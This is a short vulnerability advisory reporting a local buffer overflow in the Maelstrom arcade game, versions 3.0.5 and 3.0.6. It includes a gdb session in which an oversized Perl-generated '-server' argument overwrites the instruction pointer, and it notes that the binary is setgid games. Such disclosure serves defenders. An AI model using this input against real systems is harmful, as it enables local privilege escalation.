Maelstrom is an arcade game. There is a buffer overflow vulnerability in 

Maelstrom which allow local attacker 

arbitrary code execution.



Vulnerable systems: Maelstrom 3.0.6

		    Maelstrom 3.0.5



Example:

 

[lucae@linux]$ gdb /usr/bin/Maelstrom 



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(gdb) set args -server 2@`perl -e 'print "ABCD" x 9999'`

(gdb) r



Starting program: /usr/bin/Maelstrom -server 2@`perl -e 'print "ABCD" x 

9999'`

Couldn't resolve host name for ABCDABC......ABCD



Program received signal SIGSEGV, Segmentation fault.

0x41444342 in ?? ()



(gdb) Quit







Note: -rwxr-sr-x    1 root     games      171568 19 feb 

03:38 /usr/bin/Maelstrom   in Linux Professional 9.0







Luca Ercoli luca.ercoli@inwind.it